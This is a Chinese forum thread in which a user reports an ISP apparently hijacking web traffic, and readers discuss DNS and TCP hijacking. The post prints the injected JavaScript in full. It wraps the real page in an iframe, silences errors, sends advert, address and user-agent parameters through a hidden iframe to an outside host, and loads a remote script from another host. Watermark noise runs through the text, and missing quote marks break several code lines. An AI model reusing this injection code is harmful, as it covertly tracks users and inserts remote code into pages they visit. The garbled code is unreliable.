上网奇遇记

hudba

% G: S) x0 P- o" ]/ y
- n3 H7 l0 ~9 }! F4 ]1 C( O上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了
. J5 r4 Q" [. V
/ j2 C3 s. i+ I3 K% X* f接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

8 E0 ]" }$ ?4 P9 W  A
- |# v: K6 l; e4 V# |5 X顺便查下ip138：

6 X: `  Q- a1 Y' V, X& `这是那段js里面的代码，好象是个半成品还没写入广告数据：

1. function locationSearch() {
   
2.         var s = getMainJs();
   
3.         if (s == null) {
   
4.                 location.reload();
   
5.         }
   8 ?  D) v% t7 X; Z2 e, X
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   
7. }
   ) ~- X  M5 c7 X* u
8. 
   
9. function getParameter(name, paraStr) {
   
10.         var result = "";
    
11.         var str = "&" + paraStr.split("?")[1];
    
12.         var paraName = "&" + name + "=";
    / x/ x( o: S, ~5 N2 T2 ^( F( ^
13.         if (str.indexOf(paraName) != -1) {
    
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    & [; B  b8 |4 x& L; K5 x
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    5 h+ ~  B6 h* s$ H: g0 F! D6 o& d/ u! [
17.                                         1, TmpStr.length).indexOf("&")
    6 o" S$ W! T* }" H2 U* x
18.                                         - TmpStr.indexOf(paraName) + 1);
    
19.                 } else {
    ' v) w# I4 {8 J. U4 y% e
20.                         result = str.substring(str.indexOf(paraName), str.length);
    8 A. X9 P" s) G! {) y2 h
21.                 }
    
22. 
    
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    
24.         } else {
    
25.                 result = "No such parameter";
    
26.         }
    
27.         return (result.replace("&", ""));
    
28. }
    : a  b! T1 W7 X- A! M. E
29. 
    
30. function getMainJs() {
    
31.         var scripts = document.getElementsByTagName("script");
    
32.         var s = null;
    
33.         for (var i = 0; i < scripts.length; i++) {
    
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    
35.                         s = scripts[i];
    
36.                         break;
    % X4 o/ P9 G4 ~$ S6 N2 I
37.                 }
    
38.         }
    0 K+ y; S% h# Y0 b4 C( d# S
39.         return s;
    
40. }
    5 M. C, m. b% v; `1 A5 [
41. 
    
42. function appendParam(oStr, aStr) {
    
43.         if (oStr.indexOf('?') > 0) {
    - {0 K9 U+ ?& e, f
44.                 oStr = oStr + "&" + aStr;
    
45.         } else {
    + b& \$ f- r1 v
46.                 oStr = oStr + "?" + aStr;
    
47.         }
    
48.         return oStr;
    9 K& J4 r1 M6 y
49. }
    2 L) D4 O! ^  C) o  N: A
50. 
    ( ~! g: f3 W  w  t$ d8 h
51. window.onerror = function() {
    " K; A7 k  F& N. p4 V
52. };
    ( D! o3 ]1 U$ w
53. 
    & p6 F( |- W7 D, h9 ]' C$ P0 A( f
54. var g_titleTime = 0;
    & o# h. m8 d1 n9 G7 D2 A5 f
55. function setTcTitle() {
      [+ O3 w& R" d- V
56.         if (undefined == document) {
    
57.                 g_titleTime++;
    
58.                 setTimeout("setTcTitle();", 1000);
    
59.                 return;
    
60.         }
    ( N% j& d% @; x- C( i
61. 
    9 U: b5 Y8 e$ X; |; L9 g# t# Q
62.         var doc;
    
63.         try {
    , R0 u7 C0 Z- u# U' Z; H4 R/ l
64.                 if (document.all) {
    
65.                         doc = document.frames["cn"].document;
    . N5 A- Z% I/ o5 j+ ^  i; K5 V6 ^! i5 r
66.                 } else {
    
67.                         doc = document.getElementById("cn").contentDocument;
    : [, [! ?9 k4 d# i
68.                 }
    
69.         } catch (ex) {
    
70.         }
    
71. 
    
72.         if (g_titleTime < 5
    6 A! a" t' z" r/ Q' B
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    " Q# \" g  n0 |
74.                 g_titleTime++;
    ) b$ ^2 j8 ]2 y
75.                 setTimeout("setTcTitle();", 1000);
    " C. {  W2 E- k$ x: d4 z
76.                 return;
    
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    ' @9 S* v# v/ ?' h
78.                 document.title = doc.title;
    - B# \6 U9 f' z7 `% z
79.                 setTcAdvVisible();
    " D: K3 Q4 Z" q/ R4 f) P
80.         }
    5 R/ d' p2 x9 f8 g' ^# ]
81. }
    $ O  Y0 _1 V8 q6 D) c* o$ I
82. 
    0 P7 m) z  V5 D% A. p
83. setTimeout("setTcTitle();", 1000);
    5 o9 Y0 J* B" d: {
84. 
    
85. var g_isHaveVisible = false;
    ( [) G3 D& Q5 o) n! e- L
86. function setTcAdvVisible() {
    
87.         if (undefined != document && undefined != document.getElementById("addiv")
    " P$ M7 f1 {9 k
88.                         && !g_isHaveVisible) {
    % @/ y% ~6 t) l* Y9 ~
89.                 document.getElementById("addiv").style.visibility = 'visible';
    & z$ D0 O) q  w5 O( M" i% }& D! z
90.                 document.getElementById("addiv").style.display = 'block';
    
91.                 g_isHaveVisible = true;
    
92.         }
    
93. }
    
94. 
    $ G5 y' q; F+ I- _. F
95. function UrlAnalyzer() {
    
96.         this.divda = "";
    
97.         this.tctype = "";
    * z. w  x, @( M/ d; Q3 i- V; V4 V
98.         this.radius = "";
    
99.         this.rlu = "";
    ; Y$ g1 a; [: l
100. }
     
101. 
     
102. UrlAnalyzer.prototype.initParameters = function() {
     
103.         var paraStr = locationSearch();
     ; a0 I  D6 X5 k! t/ p
104.         this.rlu = getParameter("lruedct", paraStr);
     
105.         this.divda = getParameter("divda", paraStr);
     5 b) _1 E9 U" m1 l
106.         this.radius = getParameter("radius", paraStr);
     
107.         this.tctype = getParameter("tctype", paraStr);
     0 [3 j% [4 E  e. \" p
108.         this.address = getParameter("address", paraStr);
     
109.         this.usagent = getParameter("usagent", paraStr);
     2 {, `& h( ~3 z! J) j2 }: {
110. }
     7 p* s/ u; h, ?
111. 
     " Y+ n0 j1 m# m0 _) K( r
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     
113.         var doc;
     . b. l6 n! B9 t) ~: d
114.         try {
     
115.                 if (document.all) {
     - ^4 Y  Z* c! c$ b8 m& q
116.                         doc = document.frames["cn"].document;
     ; k+ A+ }( i" L2 H, V) J
117. 
     1 Y& k$ B4 e, b2 l+ N% m7 _; z& d
118.                 } else {
     0 i( s8 G8 _4 x3 Y6 |6 [
119.                         doc = document.getElementById("cn").contentDocument;
     5 W7 x9 ]3 S7 j
120.                         // doc = document.getElementById("cn").contentWindow.document;
     - k. F* j2 t' L6 ~# b8 h
121.                 }
     & q3 }! O; d- `* H2 i4 K/ r
122.         } catch (ex) {
     8 }4 e/ V2 }- D% x8 J( d2 @7 I% Y
123.         }
     
124.         return doc;
     
125. }
       A3 Y( a( N% O. [% C* f6 Q$ G
126. 
     
127. UrlAnalyzer.prototype.setDomain = function() {
     ! a& ]$ g3 I& `6 Y
128.         if (undefined != document.title && "" == document.title)
     
129.         {
     ! K9 e- P9 Z# A3 b& Q8 `: E( F
130.                 var index = document.domain.indexOf(".");
     2 |7 R. i; W) X& h5 Z. B
131.                 if (undefined != index && -1 != index) {
     ( f8 m; n* `! Y9 R2 z+ }
132.                         document.domain = document.domain.substring(index + 1,
     9 w8 _# F7 q! @( O5 K0 `8 I
133.                                         document.domain.length);
     
134.                 }
     
135.                
     
136.                 var doc = this.getHtmlDoc();
       D, H0 l) ~3 O; x
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
     ; G$ X8 w4 `5 |7 F
138.                         document.title = doc.title;
     
139.                         setTcAdvVisible();
     
140.                 }
     
141.         }
     
142. }
     7 {  h4 m' i2 _
143. 
     
144. UrlAnalyzer.prototype.iframeCallback = function() {
       b1 ~, S6 m# B  f
145.         var doc = this.getHtmlDoc();
     
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     2 m1 s2 G! X  d( r5 e: ]0 ]& e
147.                 if (undefined != document.domain) {
     
148. 
     
149.                         var self = this;
     
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     - v3 V# p: R) l5 R; i5 J. c
151.                         // var index = document.domain.indexOf(".");
     - ~% k, K: |% i6 m" y
152.                         // if (undefined != index && -1 != index) {
     1 r. n; K) [5 E: g
153.                         // document.domain = document.domain.substring(index + 1,
     
154.                         // document.domain.length);
     
155.                         // }
     % Z8 ?% e. ^* l; c. h! V
156.                         //
     % {# U1 h9 v& k/ c) h: O9 ^
157.                         // var doc = this.getHtmlDoc();
     7 S, ^0 J4 ^9 Q. q9 E8 }
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     7 ~$ N( M& M% y& M
159.                         // doc.title) {
     * ?+ r' Q" s2 \# M8 c( X
160.                         // document.title = doc.title;
     
161.                         // setTcAdvVisible();
     7 X- C# i7 T" k& {) `
162.                         // }
     2 b( S" H- I. U5 ]% b: e# Y. R1 `
163.                 }
     
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
     - A- M) ]" T: O
165.                 document.title = doc.title;
     
166.                 setTcAdvVisible();
     
167.         }
     ) w' }+ j. P/ a7 q) U8 c
168. }
     
169. 
     0 R9 o( p4 X; g
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
     
173. 
     
174.         var htmlStr = "<iframe src="" + staUrl
     
175.                         + "" style="display:none"></iframe>";
     
176. 
     
177.         var advUrl = htmlStr
     
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     / p% L: z  p# D5 f- R  P* S, m
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
     
180.         document.write(advUrl);
     % D9 T4 k( K0 [& }, ]
181. 
     + O  H; j! }: V5 f$ |) a- u5 x2 F
182.         var self = this;
     
183.         var iframe = document.getElementById("cn");
     
184.         if (iframe.attachEvent) {
     
185.                 iframe.attachEvent("onload", function() {
     ; y0 j' T: s) R. [: `" P
186.                         self.iframeCallback.call(self, null);
     3 Z9 A' {) d2 x) I: D+ b; w) o
187.                 });
     7 i+ I4 s2 t2 i3 S) S" N5 @
188.         } else {
     $ k. o3 U4 `" B6 O7 v9 x" R
189.                 iframe.onload = function() {
     * _% D. Q8 Y4 X: B  Q9 F1 f
190.                         self.iframeCallback.call(self, null);
     
191.                 }
     & D3 h+ B2 q$ O8 a
192.         }
     ; J+ G; y% `% }' f5 Q% R- u
193. }
     
194. 
     
195. UrlAnalyzer.prototype.executeMain = function() {
     & `2 n( E0 L3 T; M% e6 s# b4 Z
196.         var mainFrame = document.getElementById("cn");
     
197.         mainFrame.contentWindow.location.href = mainFrame.src;
     # x2 P. R. R2 P  T: }; i1 b+ J! a
198.         this.initParameters();
     ! A/ z2 X" e1 ]/ E; E& J
199.         this.executeHtmlContext();
     
200. }
     . t' R6 ~# a' g4 d9 S$ }8 u
201. 
     
202. var g_analyzer = new UrlAnalyzer();
     
203. g_analyzer.executeMain();
     - M1 ^  p* y* N) ^' f2 {& s9 L. |3 y

复制代码

: ]* ~: X" Y# U" c+ e4 J6 g
% d- z9 ~8 K4 o4 S

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

+ F6 y! i' ?& H% ~+ TTCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
8 i1 J% s' e. j6 XTCP劫持，换DNS也不管用的。

幸好联通还木有这么强的技术

哈默

在国内，习惯就好